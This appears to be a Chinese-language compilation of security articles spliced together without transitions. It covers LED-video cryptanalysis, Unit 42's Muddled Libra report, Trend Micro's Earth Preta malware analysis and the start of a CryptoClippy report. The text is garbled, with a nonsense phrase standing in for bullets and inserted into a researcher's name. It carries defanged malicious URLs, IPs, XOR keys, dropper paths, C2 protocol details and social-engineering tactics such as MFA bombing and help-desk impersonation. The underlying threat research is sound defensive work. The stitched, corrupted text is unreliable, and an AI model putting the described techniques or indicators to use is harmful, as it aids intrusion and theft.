研究人員最近公佈了一項新研究,展示了一種利用這些側信道的新方法。第一種攻擊使用連接互聯網的監控攝像頭在加密操作期間拍攝智能卡讀卡器上電源LED或連接的外圍設備的高速視頻。這項技術使研究人員能夠從Minerva使用的同一張政府批准的智能卡上提取256位ECDSA密鑰。另一種方法使研究人員能夠通過在連接到手機的USB揚聲器的電源LED上訓練iPhone 13的攝像頭來恢復三星Galaxy S8手機的專用SIKE密鑰,類似於Hertzbleed從英特爾和AMD CPU上獲取SIKE密鑰的方式。

電源led用於指示設備何時打開,它們通常會發出藍色或紫色的光,亮度和顏色會根據所連接設備的功耗而變化。

這兩種攻擊都有局限性,使得它們在許多現實場景中不可行。儘管如此,已發表的研究還是具有開創性的,因為它提供了一種全新的方式來促進側信道攻擊。不僅如此,新方法還消除了阻礙現有方法利用側信道的最大障礙,即需要示波器、電探針或其他物體等儀器接觸或靠近被攻擊的設備。

在Minerva的示例中,為了讓研究人員收集足夠精確的測量數據,智能卡讀卡器的主機必須被攻破。相比之下,Hertzbleed並不依賴於受攻擊的設備,而是花了18天的時間與易受攻擊的設備進行持續交互,以恢復私鑰。要攻擊許多其他側信道,例如第二次世界大戰加密電傳終端中的側信道,攻擊者必須在目標設備上或附近安裝專用且通常昂貴的儀器。

近期發布的基於視頻的攻擊減少或完全消除了此類要求,要想竊取存儲在智能卡上的私鑰,只需要在距離目標讀卡器20米遠的地方安裝一個聯網的監控攝像頭。三星Galaxy手機的側信道攻擊可以通過已經在同一個房間裡的iPhone 13攝像頭來執行。

本文的亮點就是你不需要連接探測器、連接示波器或使用軟件定義的無線電。該方法沒有攻擊性,你可以使用智能手機等普通或流行的設備來實施攻擊。對於連接互聯網的攝像機來說,你甚至不需要接近物理場景就可以實施攻擊,這是軟件定義的無線電或連接探針或類似物無法做到的。

與傳統的側信道攻擊相比,該技術還有另一個好處:精確性和準確性。 Minerva和Hertzbleed等攻擊通過網絡洩露信息,這會引入延遲並增加噪聲,而這些噪聲必須通過從大量操作中收集數據來補償。這一限制導致Minerva攻擊需要目標設備被破壞,而Hertzbleed攻擊需要18天時間。

使用捲簾快門(rolling shutter)令許多人驚訝的是,一台記錄電源LED的標準攝像機提供了一種數據收集方式,對於測量通過側信道洩漏的信息來說,這種方式要高效得多。當CPU執行不同的加密操作時,目標設備消耗不同的電量。這些變化會導致設備或連接到設備的外圍設備的電源LED的亮度變化,有時還會導致顏色變化。

為了足夠詳細地捕捉LED的變化,研究人員啟動了新型相機中可用的捲簾快門。捲簾快門是一種圖像捕捉形式,在某種程度上類似於延時攝影。它以垂直、水平或旋轉的方式逐行快速記錄幀。傳統上,相機只能以其幀速率拍攝照片或視頻,幀速率最高可達每秒60至120幀。

11.png

該說明了捲簾快門捕捉旋轉光盤背後的原理

激活捲簾快門可以提高采樣率,每秒收集大約60,000個測量值。研究人員在設備執行加密操作時,將當前打開或連接在設備上的電源LED完全填充到一個框架中,利用捲簾快門,使攻擊者有可能收集到足夠的細節來推斷存儲在智能卡、手機或其他設備上的密鑰。

這是可能的,因為設備的電源LED的強度/亮度與其功耗相關,因為在許多設備中,電源LED直接連接到電路的電源線,缺乏有效的手段(例如,濾波器,電壓穩定器)來解耦相關性。

研究人員實證分析了視頻攝像機的靈敏度,並表明它們可以用於進行密碼分析,原因有兩個,一是設備的電源LED的視頻片段的單個RGB通道的有限8位分辨率(256值的離散空間)足以檢測由加密計算引起的設備功耗差異,二是攝像機的捲簾快門可以利用視頻片段中電源LED的強度/亮度的採樣率提高到執行密碼分析所需的水平,即將視頻片段中電源LED的強度/亮度的測量次數(採樣率)增加三個數量級,從FPS速率(每秒提供60-120次測量)到捲簾快門速率(在iPhone 13 Pro Max中每秒提供6萬次測量),通過縮放目標設備電源LED上的攝像機,使LED的視圖填充整個視頻片段。這樣,可以使用攝像機作為專業專用傳感器的遠程攻擊替代品,這些傳感器通常用於密碼分析(例如,示波器、軟件定義的無線電)。

視頻1和視頻2分別顯示了智能卡讀卡器和三星Galaxy手機在執行加密操作時的視頻捕獲過程。用肉眼看,這段視頻看起來沒什麼特別的。

但是,通過分析綠色通道中不同RGB值的視頻幀,攻擊者可以識別加密操作的起止進程。

一些限制條件研究中假設的威脅模型是,目標設備正在創建數字簽名或在設備上執行類似的加密操作。該設備具有標准開/關類型1或指示電源類型2電源LED,其保持恆定顏色或響應觸發的加密操作時改變顏色。如果設備沒有1型或2型電源LED,則必須連接到有此功能的外圍設備。這些電源LED的亮度或顏色必須與設備的功耗相關。

攻擊者是一個惡意實體,可以在加密操作發生時持續錄製設備或外圍設備(如USB揚聲器)的電源LED。在智能卡讀卡器的示例中,攻擊者首先通過攻擊距離讀卡器電源LED近20米遠的監控攝像頭來獲取視頻。攝像頭被劫持的前提是,攻擊者必須能夠控制攝像頭的縮放和旋轉。考慮到許多聯網攝像機被研究人員、現實世界的殭屍網絡運營商和其他攻擊者主動攻擊的示例,目前假設條件並不是一個特別高的要求。

當攝像頭在近20米遠的地方時,房間的燈必須關閉,但如果監控攝像頭在大約2米遠的位置時,則可以打開燈。攻擊者也可以用iPhone記錄智能卡讀卡器的電源LED。視頻必須持續運行65分鐘,在此期間,閱讀器必須不斷地執行操作。

對於三星Galaxy,攻擊者必須能夠在相當近的距離內記錄USB連接揚聲器的電源LED,同時手機執行SIKE簽名操作。

攻擊假設存在一個現有的側信道,該信道在執行加密操作時洩露設備的功耗、時間或其他物理表現。插入讀卡器的智能卡使用了一個代碼庫,該代碼庫尚未針對Minerva攻擊進行修補。三星Galaxy使用的一個庫仍然容易受到Hertzbleed.的攻擊,很可能在未來發現的一些側通道也會允許此類攻擊。

威脅模型極大地限制了當前攻擊的工作場景,因此攻擊不太可能針對軍事基地或其他高安全設置中使用的讀卡器。

這是因為讀卡器本身很可能是修復過的,即使沒有被修復,在這些環境中發給員工的智能卡也會每隔幾年輪換一次,以確保它們包含最新的安全更新。即使讀卡器和智能卡都容易受到攻擊,讀卡器也必須在整整65分鐘內持續處理卡,這在安全檢查中的標準刷卡過程中是不可能實現的。

但並非所有設置都受到如此嚴格的限制。這六種智能卡讀卡器都可以在亞馬遜上買到,並且與美國軍方使用的通用門禁卡(稱為cac)兼容。其中四個閱讀器的廣告上寫著“國防部”、“軍隊”或兩者兼而有之。軍方或政府人員在遠程登錄非機密網絡時使用這種讀卡器均屬正常。

一般來說,只要你的操作系統支持特定的製造商和型號,訪問國防部資源需滿足兩個條件即可,1.為操作系統安裝了當前的根和國防部CA,以信任你的智能卡證書和你連接的網站/服務的證書,2.有問題的資源可以從公共互聯網直接訪問而不是先連接內部VPN。公司、州或地方政府以及其他組織則沒有那麼多限制。

三星Galaxy攻擊的另一個限制是,在發現一種使用複雜數學和一台傳統PC來恢復保護加密交易的密鑰攻擊後,SIKE算法被進行了限制。

對於此假設攻擊,三星進行了回复:

我們可以確認,研究人員在Galaxy S8上開發的假設攻擊已於2022年向我們報告,經過審查,並被視為低風險,因為我們的設備上沒有使用特定的算法。消費者隱私至關重要,我們將對所有設備保持最高標準的安全協議。

研究人員丹尼爾马云惹不起马云格魯斯(Daniel Gruss)說,儘管這種攻擊目前還處於理論層面,但研究結果絕對是有趣和重要的,特別是在發現了Hertzbleed和Platypus的類似攻擊之後。與Platypus、Hertzbleed等相關攻擊越來越多,關鍵是電源側信道攻擊可以洩露的信息非常多。隨著基於遠程軟件的攻擊或本文提出的基於視頻錄製/空氣間隙的攻擊,攻擊成功率提高了很多。另外,許多研究人員都觀察到,隨著新技術和漏洞的發現,攻擊只會隨著時間的推移而變得更易實現。從硬件發展角度來講,現在某些限制的因素,比如攝像機,未來隨著設備快速發展,幾年後本文講的理論上的攻擊可能會增加攻擊範圍或縮短攻擊所需的時間。

研究人員還對當今基於視頻的密碼分析的真正潛力表示擔憂。在本文所說的研究中,他們專注於常用和流行的攝像機,以演示基於視頻的密碼分析,即一個RGB通道的8位空間、全高清分辨率和支持的最大快門速度。然而,新版本的智能手機已經支持10位分辨率的視頻片段,例如,iPhone 14 Pro MAX和三星Galaxy S23 Ultra。此外,分辨率為12-14位的專業攝像機已經存在,2樣的攝像機可能提供更高的靈敏度,這可能使攻擊者能夠通過電源LED的強度來檢測設備功耗的非常細微的變化。此外,許多互聯網與現有研究中使用的攝像機(25倍)相比,具有更大光學變焦能力的聯網安全攝像機(30倍至36倍)已經存在,並且可能已經廣泛部署。這種安全攝像機可能允許攻擊者從比本文所演示的更遠的距離對目標設備進行基於視頻的密碼分析。最後,新的專業攝像機目前支持1/180,000的快門速度(例如,富士膠片X-H2.3),使用這種攝像機可能允許攻擊者以更高的採樣率獲得測量結果,這可能會使其他設備面臨基於視頻的密碼分析的風險。

研究人員給製造商推薦了幾種對策,以增強設備抵禦基於視頻的密碼分析。其中最主要的是通過集成一個起“低通濾波器”的電容器來避免使用指示電源LED。另一種選擇是在電源線和電源LED之間集成一個運算放大器。

目前尚不清楚受影響設備的製造商是否或何時會添加此類防範措施。目前,建議那些不確定自己的設備是否存在漏洞的人應該考慮在電源LED上貼上不透明的膠帶。

2022年底,隨著0ktapus網絡釣魚工具包的發布,Muddled Libra正式出現在公眾視野,該工具包提供了預構建的託管框架和捆綁模板,利用大量用虛假身份驗證的真實門戶進行有針對性的攻擊,攻擊者能夠快速收集憑據和多因素身份驗證MFA代碼。如今0ktapus框架已被商品化,即使是攻擊新手也能獲得很高的成功率。 0ktapus框架功能包括預構建的模板和通過Telegram內置的C2頻道,成本只需幾百美元。

這個工具包所攻擊的目標的數量之多,以至於給攻擊歸屬造成了很多困惑。 Group IB、CrowdStrike和Okta之前的報告已經記錄並將其中許多攻擊映射到以下組織:0ktapus、Scattered Spider和Scatterd Swine。以上三個名字很可能是一個組織,也很可能是使用同一個工具包的三個組織。 Muddled Libra就是其中的一個組織。

Unit 42發現Muddled Libra攻擊時具有以下特點:

马云惹不起马云使用0ktapus網絡釣魚工具包;

马云惹不起马云持續攻擊;

马云惹不起马云非破壞性存在;

马云惹不起马云持續瞄準業務流程外包(BPO)行業;

马云惹不起马云數據被盜;

马云惹不起马云 在下游攻擊中使用受攻擊的基礎設施;

調查表明Muddled Libra使用了一個異常龐大的攻擊工具包,包括社會工程、滲透測試和取證工具,其功能要強於強大的網絡防禦能力。

在Unit 42調查的事件中,Muddled Libra在攻擊目標選擇上非常有針對性,進攻策略也非常靈活。當一個攻擊方法被阻斷時,他們要么迅速轉向另一個方法,要么轉化攻擊環境重新開始攻擊。

Muddled Libra也對現代事件響應(IR)框架有著深刻理解,這使他們能夠不斷修改攻擊策略從而實現攻擊目的。

Muddled Libra更傾向於使用被盜數據來對受害者發起攻擊,如果允許,他們會反复刷新被盜數據集。使用這些被盜數據,即使在最初的事件響應之後,攻擊者也有能力回到以前的受害者那裡。這證明了攻擊者即使在被發現後仍具有持續攻擊能力。

此外,Muddled Libra似乎對他們的攻擊行為有明確的預期和路徑設計,而不僅僅是投機取巧那麼簡單。他們在發動攻擊時,會迅速尋找並竊取了下游客戶端環境中的信息,然後利用這些信息進入到攻擊環境中。他們對高價值客戶以及對後續攻擊最有用的信息有著1前瞻性判斷。

攻擊鏈雖然每一起事件都是獨一無二的,但Unit 42的研究人員已經確定了戰術、技術和程序(TTP)方面的很過共性,可以將多起事件歸因於Muddled Libra。

1.png

攻擊鏈

偵察階段Muddled Libra對目標組織有著非常細緻的了解,包括員工名單、職務和手機號碼。在某些情況下,這些數據可能是在早期針對上游目標的攻擊行為中獲得的。

攻擊者還經常從非法數據代理那裡獲取信息包,例如現已倒閉的Genesis和Russian Markets。這些數據通常是從受感染的設備上收集的,包括企業和個人設備,使用的是像RedLine stealer這樣的惡意軟件。

隨著自帶設備(BYOD)政策的早期出現,以及混合工作解決方案的流行,公司數據和憑據被頻繁使用並緩存在個人設備上。分散IT資產的管理和保護為信息竊取惡意軟件創造了一個有利可圖的攻擊機會。

資源開發使用相似域名發起攻擊是Muddled Libra的經典標誌。這種策略是有效的,因為移動設備經常截斷SMS消息中的鏈接。

歸因於0ktapus活動的早期攻擊組織一直使用通過Porkbun或Namecheap註冊並託管在Digital Ocean(一家成立於2012年的總部設置在紐約的雲主機商家,採用KVM虛擬)基礎設施上的域名,這些域往往是短暫的,只在最初的訪問階段使用,然後很快被刪除。

Unit 42注意到攻擊者使用ktapus網絡釣魚工具包來獲取憑證。 Group-IB詳細記錄了這種多用途的工具,在地下組織中廣泛使用。它幾乎不需要什麼技能就可以安裝和配置,這使它成為高度針對性的欺騙攻擊的理想工具。

初始訪問在Unit 42可以確定初始訪問方法的所有事件中,都涉及詐騙或社會工程。在大多數事件中,攻擊者直接向目標員工的手機發送引誘信息,聲稱他們需要更新賬戶信息或重新驗證公司應用程序。消息中包含一個指向偽造公司域的鏈接,該域旨在模仿熟悉的登錄頁面。

持久性MuddledLibra特別專注於維護對目標環境的訪問。雖然攻擊者在攻擊期間使用免費或演示版的遠程監控和管理(RMM)工具是很常見的,但Muddled Libra通常安裝了六個或更多這樣的實用程序。他們這樣做是為了確保即使有一個被發現,他們也能保留一個進入環境的後門。

使用商業RMM工具尤其需要注意,因為這些工具是Muddled Libra正在濫用的合法程序。他們可以合法地出現在組織內,防御者應該權衡是完全阻止還是仔細監控他們。觀察到的工具包括Zoho Assist、AnyDesk、Splashtop、TeamViewer、ITarian、FleetDeck、ASG Remote Desktop、RustDesk和ManageEngine RMM。

這些工具本身都不是惡意的,並且經常用於許多企業網絡的日常管理。 Unit 42建議組織通過簽名者阻止任何不允許在企業內使用的RMM工具。

防禦規避Muddled Libra對各種安全控制及其熟悉,完美地避開了常見的防禦。

具體行為包括:

马云惹不起马云禁用防病毒和基於主機的防火牆;

马云惹不起马云試圖刪除防火牆配置文件;

马云惹不起马云繞過防御者;

马云惹不起马云停用或卸載EDR和其他監控產品;

攻擊者還重新啟用並使用了現有的Active Directory帳戶,以避免觸發公共安全信息和事件管理(SIEM)監控規則。他們還被觀察到在終端檢測和響應(EDR)管理控制台內操作以清除警報。

Muddled Libra在攻擊活動中很謹慎,一直使用商業虛擬專用網絡(VPN)服務來隱藏其地理位置,並試圖融入合法流量。在Unit 42研究人員調查的大多數事件中,Mullvad VPN是首選,但也觀察到許多其他供應商,如ExpressVPN、NordVPN、Ultrasurf、Easy VPN和ZenMate。

Unit 42的研究人員還觀察到了輪流使用住宅代理服務的情況。正如Brian Krebs在2021年報導的那樣,住宅代理服務通常將其代碼隱藏在瀏覽器擴展中,允許運營商將住宅連接出租給合法和惡意攻擊者。

憑據訪問一旦捕獲了用於初始訪問的憑據,攻擊者就會選擇其中一條路徑。在第一種情況下,他們繼續從他們控制的計算機進行身份驗證,並立即請求多因素身份驗證(MFA)代碼。在另一種情況下,他們隨後生成了一系列MFA提示,直到用戶接受其中一個,這種方法也稱為MFA轟炸。

在MFA轟炸失敗的情況下,攻擊者就會聯繫該組織的求助台,聲稱自己是受害者。然後謊稱他們的手機無法操作或放錯地方,並要求註冊一個新的、由攻擊者控制的MFA身份驗證設備。

Muddled Libra在社會工程方面的成功是值得注意的。在許多示例中,該組織通過電話與服務台和其他員工交流,實施攻擊活動。

在建立了立足點後,Muddled Libra迅速採取行動,提升訪問權限。本階段使用的標準憑證竊取工具包括Mimikatz、ProcDump、DCSync、Raccoon Stealer和LAPSToolkit。當該組織無法快速確定提升的憑據時,他們就會使用Impacket、MIT Kerberos Ticket Manager和NTLM編碼器/解碼器。

在一些事件中,Muddled Libra採取了不同尋常的步驟,使用專門的工具,使用MAGNET RAM Capture和Volatility直接搜索內存內容以查找憑據。由於這些都是Muddled Libra正在濫用的合法取證工具,防御者應該仔細考慮阻止它們的不利因素,包括安全團隊活動產生誤報警報的可能性。

這給防御者提出了一個挑戰,儘管用戶帳戶可能通過特權訪問管理受到保護,但終端通常具有緩存用於系統管理或運行服務的提升憑據。應注意確保特權憑據僅具有執行其預期功能所需的權限,並密切監控其是否偏離正常行為。

發現過程muddle Libra的發現方法在不同的示例中是一致的。在調查中,該組織使用了知名的合法滲透測試工具來繪製環境並確定感興趣的目標。他們的工具包包括SharpHound, ADRecon, AD Explorer, Angry IP Scanner, Angry Port Scanner和CIMplant。

事實證明,Muddled Libra還精通商業系統管理工具,如用於發現和自動化的ManageEngine、LANDESK和PDQ Inventory,虛擬環境中使用的VMware PowerCLI和RVTools。

防御者應警惕未經批准的網絡掃描和對多個系統的異常快速訪問或跨邏輯業務部門的訪問。

執行過程調查發現,Muddled Libra似乎主要對數據和憑據盜竊感興趣,我們很少看到遠程執行。當需要時,該組織使用Sysinternals PsExec或Impacket完成執行。捕獲的憑據或身份驗證哈希用於權限提升。

橫向活動對於橫向活動,Muddled Libra更喜歡使用來自受攻擊設備的遠程桌面協議(RDP)。這種方法有助於最大限度地減少日誌中可發現的外部網絡構件,這些構件可以提醒防御者並幫助調查人員進行追踪。

尋找目標數據Muddled Libra似乎非常了解企業數據管理。他們成功地在受害者設備上的各種常見數據存儲庫中找到敏感數據,包括結構化和非結構化數據存儲庫,比如:

马云惹不起马云Confluence;

马云惹不起马云Git;

马云惹不起马云Elastic;

马云惹不起马云Microsoft Office 365 suite (e.g. SharePoint, Outlook);

马云惹不起马云Internal messaging platforms;

他們還從Zendesk和Jira等常見服務台應用程序中查找受害者環境中的數據。挖掘的數據包括進一步洩露的憑據,它們直接針對敏感和機密信息。

Unit 42的研究人員還觀察到了開源數據挖掘工具Snafler和本地工具在註冊中心、本地驅動器和網絡共享中搜索*password*和securestring等關鍵詞的情況。然後,使用WinRAR或PeaZip對洩露的數據進行分級和存檔。

防御者應定期在自己的環境中執行關鍵字搜索,以識別不正確存儲的數據和憑證。

盜取數據在一些情況下,Muddled Libra試圖建立反向代理shell或secure shell(SSH)隧道,用於命令和控製或盜取。 Muddled Libra還使用了常見的文件傳輸網站,如put[.]io、transfer[.]sh、wasabi[.]com或gofile[.]io來盜取數據,研究人員還觀察到Cyberduck作為文件傳輸代理。

緩解措施Muddled Libra是一個攻擊能力非常強的惡意軟件,對軟件自動化、業務流程外包、電信和技術行業的組織構成了巨大威脅。他們精通一系列安全規範,能夠在相對安全的環境中迅速執行以完成毀滅性的攻擊。

Muddled Libra並沒有任何技術上的創新,只是把目前已有的技術疊加在一起從而產生了很強的攻擊力。

建議組織:1.盡可能實現MFA和單點登錄(SSO),最好是快速身份在線(FIDO)。在我們調查的示例中,Muddled Libra最成功的是說服攻擊目標幫助他們繞過MFA。當他們無法做到這一點時,他們就會更換其他目標。

2.防御者還應考慮如何在多次MFA故障時最好地實施安全警報和帳戶鎖定。

3.實施員工安全意識培訓。 Muddled Libra通過電話和短信大力實施社會工程,包括通過電話和短信幫助台。

4.在發生攻擊的情況下,假設這個攻擊者知道現代IR戰術,考慮建立帶外響應機制。

5.確保證書是最新的,只在必要的時候和時間內授予訪問權限。

6.監控和管理對關鍵防禦和控制的訪問對於防禦熟練攻擊者至關重要。權利應僅限於每個工作職能所必需的內容。應使用Cortex XDR和Cortex XSIAM等身份威脅檢測和響應(ITDR)工具來監測異常行為。

7.防御者應該限制允許連接到網絡的匿名服務,最好是在防火牆上通過App-ID。

本文將介紹Earth Preta APT組織利用的最新工具、技術和程序(TTP)的更多技術細節。介紹在2022年11月,趨勢科技的研究人員就披露了由高級持續性威脅(APT)組織Earth Preta(也稱為Mustang Panda)發起的大規模網絡釣魚活動。該活動通過魚叉式網絡釣魚電子郵件針對亞太地區的多個國家。自2023年初以來,該組織正在使用新的方法,例如MIROGO和QMAGENT。

此外,研究人員還新發現了一個名為TONEDROP的釋放程序,它可以釋放TONEINS和TONESHELL惡意軟件,根據觀察,該組織正在將其目標擴展到不同的地區,如東歐和西亞,再加上亞太地區的幾個國家,如緬甸和日本。

通過追踪分析惡意軟件和下載網站,研究人員試圖找到攻擊者用來繞過不同安全解決方案的工具和技術。例如,研究人員收集了部署在惡意下載網站上的腳本,這使他們能夠弄清楚它們的工作原理。研究人員還觀察到,Earth Preta向不同的受害者提供不同的有效負載。

受害者研究從2023年1月開始,研究人員就觀察到幾波針對不同地區個人的魚叉式網絡釣魚電子郵件。

1.jpg

魚叉式網絡釣魚郵件收件人的國家分佈

研究人員還能根據目標行業對受害者進行細分。如下圖所示,大多數目標自電信行業。

2.png

魚叉式網絡釣魚郵件收件人的行業分佈

2023年,研究人員使用了新的攻擊指標監測了Earth Preta,包括MIROGO、QMAGENT和名為TONEDROP的新TONESHELL釋放程序。

同樣,這些攻擊鏈也發生了變化。例如,除了部署合法的Google Drive下載鏈接外,攻擊者還使用其他類似但實際上不是Google Drive頁面的下載網站。

3.jpg

2023年的事件時間線

Backdoor.Win32.QMAGENT2023年1月左右,研究人員發現QMAGENT惡意軟件通過魚叉式網絡釣魚電子郵件傳播,目標是與政府組織有關的個人。 QMAGENT(也稱為MQsTTang)最初是在ESET的一份報告中披露,值得注意的是,它利用了物聯網(IoT)設備中常用的MQTT協議來傳輸數據和命令。由於上述報告詳細描述了惡意軟件的技術細節,我們在此不再贅述。然而,研究人員認為所使用的協議值得進一步調查。

Backdoor.Win32.MIROGO2023年2月,研究人員發現了另一個用Golang編寫的名為MIROGO的後門,Check Point Research首次將其報告為TinyNote惡意軟件。研究人員注意到,它是通過一封嵌入Google Drive鏈接的釣魚電子郵件發送的,然後下載了一個名為Note-2.7z的壓縮文件。該壓縮文件受密碼保護,密碼在電子郵件正文中提供。提取後,研究人員發現了一個偽裝成發給政府的可執行文件。

4.png

MIROGO攻擊流程

Trojan.Win32.TONEDROP2023年3月,研究人員發現了一個名為TONEDROP的新釋放程序,它可以釋放TONEINS和TONESHELL惡意軟件。它的攻擊鏈與之前報告中介紹的相似,涉及隱藏被異或的惡意二進製文件的虛假文件。

在接下來的幾個月裡,研究人員發現該組織還在使用這個釋放程序。在研究人員的調查過程中,他們發現了TONESHELL後門的一個新變體。

5.png

釋放程序流程

6.png

TONEDROP中的文件

在釋放和安裝文件之前,TONEDROP將檢查文件夾C:\ProgramData\LuaJIT是否存在,以確定環境是否已經被破壞。它還將檢查正在運行的進程和窗口是否與惡意軟件分析工具有關。如果是這樣,它將不會繼續其例行程序。

7.png

檢查正在運行的進程和窗口

如果所有條件都滿足了,它將開始安裝過程並釋放幾個文件。這些文件嵌入到釋放程序中,並使用異或密鑰解密。

8.png

釋放的文件和用於解密它們的異或密鑰

被釋放後,WaveeditNero.exe將側載waveedit.dll並解密其他兩個偽造的PDF文件:

它用XOR密鑰0x36解密C:\users\public\last.pdf,並將其寫入C:\users\public \documents\WinDbg(X64).exe。

它用XOR密鑰0x2D解密C:\users\public\update.pdf,並將其寫入C:\users\public\documents\ libvcl .dll。

TONEDROP將為進程C:\users\public\documents\WinDbg(X64).exe設置一個計劃任務,它將繞過加載C:\users\public\documents\ libvcl .dll。接下來,它將通過調用具有回調函數的API EnumDisplayMonitors來構造惡意負載並在內存中運行它。

TONESHELL變體D的CC協議研究人員發現了TONESHELL的一個新變體,它具有如下命令和控制(CC)協議請求數據包格式:

9.png

加密後發送數據的內容

CC協議類似於PUBLOAD和其他TONESHELL變體所使用的協議。研究人員將其歸類為TONESHELL變體D,因為它還使用CoCreateGuid來生成唯一的受害者ID,這與舊的變體類似。

在第一次握手中,有效負載應該是一個0x221字節長的緩衝區,其中包含加密密鑰和唯一受害者ID。表4顯示了有效負載的結構。請注意,字段type、victim_id和xor_key_seed在發送緩衝區之前使用xor_key進行加密。

10.png

發送數據的內容

研究人員發現該惡意軟件將victim_id的值保存到文件%USERPROFILE%\AppData\Roaming\Microsoft\Web.Facebook.config中。

11.png

第一次握手中的有效負載

CC通信協議的工作原理如下:

1.將包含xor_key和victim_id的握手發送到CC服務器;

2.接收由魔術組成並且具有0x02大小的5字節大小的數據包;

3.接收到一個用xor_key解密的2字節大小的數據包,該數據包的第一個字節必須為0x08;

4.接收到由魔術和下一個有效負載大小組成的數據。

5.使用xor_key接收並解密數據。第一個字節是命令代碼,下面的數據是額外的信息。

12.png

CC通信

13.png

命令代碼

虛假Google Drive網站2023年4月,研究人員發現了一個傳播QMAGENT和TONEDROP等惡意軟件類型的下載網站。當研究人員請求URL時,它下載了一個名為Documents.rar的下載文件,其中包含一個原來是QMAGENT示例的文件。

14.png

下載網站的截圖

雖然這個頁面看起來像Google Drive下載頁面,但它實際上是一個試圖偽裝成普通網站的圖片文件(gdrive.jpg)。在源代碼中,它運行腳本文件,它將下載文件Document.rar。

15.png

嵌入下載網站的惡意腳本

2023年5月,Earth Preta連續傳播了具有不同路徑的同一下載網站來部署TONESHELL,例如https://rewards[.]roshan[.]af/aspnet_client/acv[.]htm。在這個版本中,攻擊者用另一段JavaScript混淆了惡意URL腳本,如下圖所示。

16.png

該頁面的源代碼

17.png

解碼後的惡意腳本URL

最後,腳本jQuery.min.js將從https://rewards.roshan[.]af/aspnet_client/Note-1[.]rar下載歸檔文件。

18.png

jQuery.min.js腳本

技術分析在調查過程中,研究人員嘗試了幾種方法來追踪事件,並將所有指標聯繫在一起。研究人員的發現可以概括為三個方面:代碼相似性、CC連接和糟糕的操作安全性。

代碼相似性研究人員觀察到MIROGO和QMAGENT惡意軟件之間有一些相似之處。由於檢測次數有限,研究人員認為這兩種工具都是Earth Preta開發的,且它們都是用兩種不同的編程語言實現了類似的CC協議。

19.png

MIROGO和QMAGENT惡意軟件的異同

CC 通信惡意軟件QMAGENT使用MQTT協議傳輸數據。經過分析,研究人員意識到所使用的MQTT協議沒有加密,也不需要任何授權。由於MQTT協議中的獨特“特性”(一個人發布消息,其他所有人接收消息),研究人員決定監控所有消息。他們製作了一個QMAGENT客戶端,看看有多少受害者被盯上了。經過長期監測,研究人員製作瞭如下統計表:

20.png

QMAGENT通信

主題名稱iot/server0用於檢測分析或調試環境,因此受害者數量最少。 3月份的峰值最高,因為ESET報告是在3月2日發布的,這個峰值涉及自動化系統(沙箱和其他分析系統)的激活。因此,研究人員決定將峰值分解成更小的範圍。

21.png

QMAGENT受害者

來自QMAGENT惡意軟件的CC請求JSON體包含一個Alive密鑰,該密鑰是惡意軟件的正常運行時間(以分鐘為單位)。

22.png

QMAGENT受害者活動時間

研究人員將前10個的運行時間分為三類:473秒、200秒和170秒。由於涉及許多分析系統,研究人員認為這些時間是不同沙盒的一些常見的超時設置。例如,CAPEv2沙箱中的默認超時設置正好是200秒。

23.png

CAPEv2中的默認超時設置

操作安全性差調查中,研究人員收集了幾個惡意壓縮文件的下載鏈接。研究人員注意到,攻擊者不僅傳播了Google Drive鏈接,還傳播了由不同雲提供商託管的其他IP地址。以下是研究人員最近觀察到的一些下載鏈接:

24.png

很明顯,url中的路徑遵循幾種模式,例如/fav/xxxx或/f/xx。在檢查url時,研究人員還發現xx模式與受害者相關(這些模式是他們的國家代碼)。在調查下載網站80[.]85[.]156[.]]151(由Python的SimpleHTTPServer託管),研究人員發現它在端口8000上有一個打開的目錄,其中託管了大量的數據和腳本。

25.png

開放目錄漏洞

下載網站中的重要文件如下:

26.png

打開目錄中的文件

接下來,我們將介紹部署在服務器上的腳本文件。

Firewall: fw.shEarth Preta使用腳本文件fw.sh來阻止來自特定IP地址的傳入連接。禁止訪問的IP地址列在文件blacklist.txt中。該組織似乎有意使用python請求、curl和wget阻止來自某些已知爬蟲和某些已知安全提供程序的傳入請求。研究人員認為該組織正在試圖阻止該網站被掃描和分析。

27.png

“fw.sh”腳本

28.png

blacklist.txt中列出的一些IP地址

主服務器:app.py主腳本文件app.py用於託管web服務器並等待來自受害者的連接。它處理以下URL路徑:

29.png

下載網站的URL路徑

下載網站的根路徑如下圖所示。它顯示一條虛假信息,冒充來自谷歌。

30.png

網站的根頁面

同時,webchat函數/webchat允許兩個用戶在同一頁面上相互通信。登錄用戶名和密碼在源代碼中進行硬編碼,分別為john:john和tom:tom。

31.png

webchat的登錄界面

登錄後,用戶可以通過WebSocket提交他們的短信,他們收到的所有消息都會顯示在這裡。基於硬編碼的用戶名,研究人員假設“tom”和“john”是相互合作的。

32.png

網絡聊天的源代碼

如上所述,研究人員收集的大多數惡意下載URL都遵循特定的模式,如/fav/xxxx或/file/xxxx。根據源代碼,如果請求的User-Agent標頭包含以下任何字符串,則路徑/fav/(依此類推)將下載有效負載Documents.rar:Windows NT 10;

Windows NT 6;

這個壓縮文件被託管在IP地址80[.]85[.]157[.]3上。如果不滿足指定的用戶代理條件,用戶將被重定向到另一個Google Drive鏈接。在撰寫本文時,研究人員無法檢索有效負載,因此無法確定它們是否確實是惡意的。研究人員認為,這是一種向不同受害者提供不同有效負載的機制。

33.png

“app.py”中的源代碼

值得注意的是,每個源IP地址、請求標頭和請求URL都會記錄在每個連接上。然後,所有日誌文件都存儲在/static文件夾中。

The logging files: /static“/static”文件夾包含大量的日誌文件,這些文件似乎是由攻擊者手動更改的。在撰寫本文時,日誌文件記錄了2023年1月3日至2023年3月29日的日誌。當研究人員找到它們的時候,文件夾裡有40個日誌文件。

Cryptojacking-r3d3.png

Unit 42最近發現了一個針對葡語用戶的惡意軟件活動,旨在將加密貨幣從合法用戶的錢包中轉移到由攻擊者控制的錢包中,該活動使用了一種被稱為CryptoClippy(加密貨幣剪輯器)的惡意軟件,它可以監控受害者的剪貼板,尋找加密貨幣錢包地址被複製的踪跡,以此來發起攻擊並竊取加密貨幣。

攻擊時,CryptoClippy會將實際錢包地址替換為攻擊者自己的地址。為了將惡意軟件植入到用戶的計算機,該活動中的攻擊者使用谷歌廣告和流量分發系統(TDS)將受害者重定向到假冒WhatsApp Web應用程序的惡意域名。他們藉此來確保受害者是真正的用戶,而且他們是葡語使用者。對於被發送到惡意域的用戶,攻擊者試圖誘騙他們下載惡意文件,包括.zip或.exe文件,從而獲得最終的有效負載。

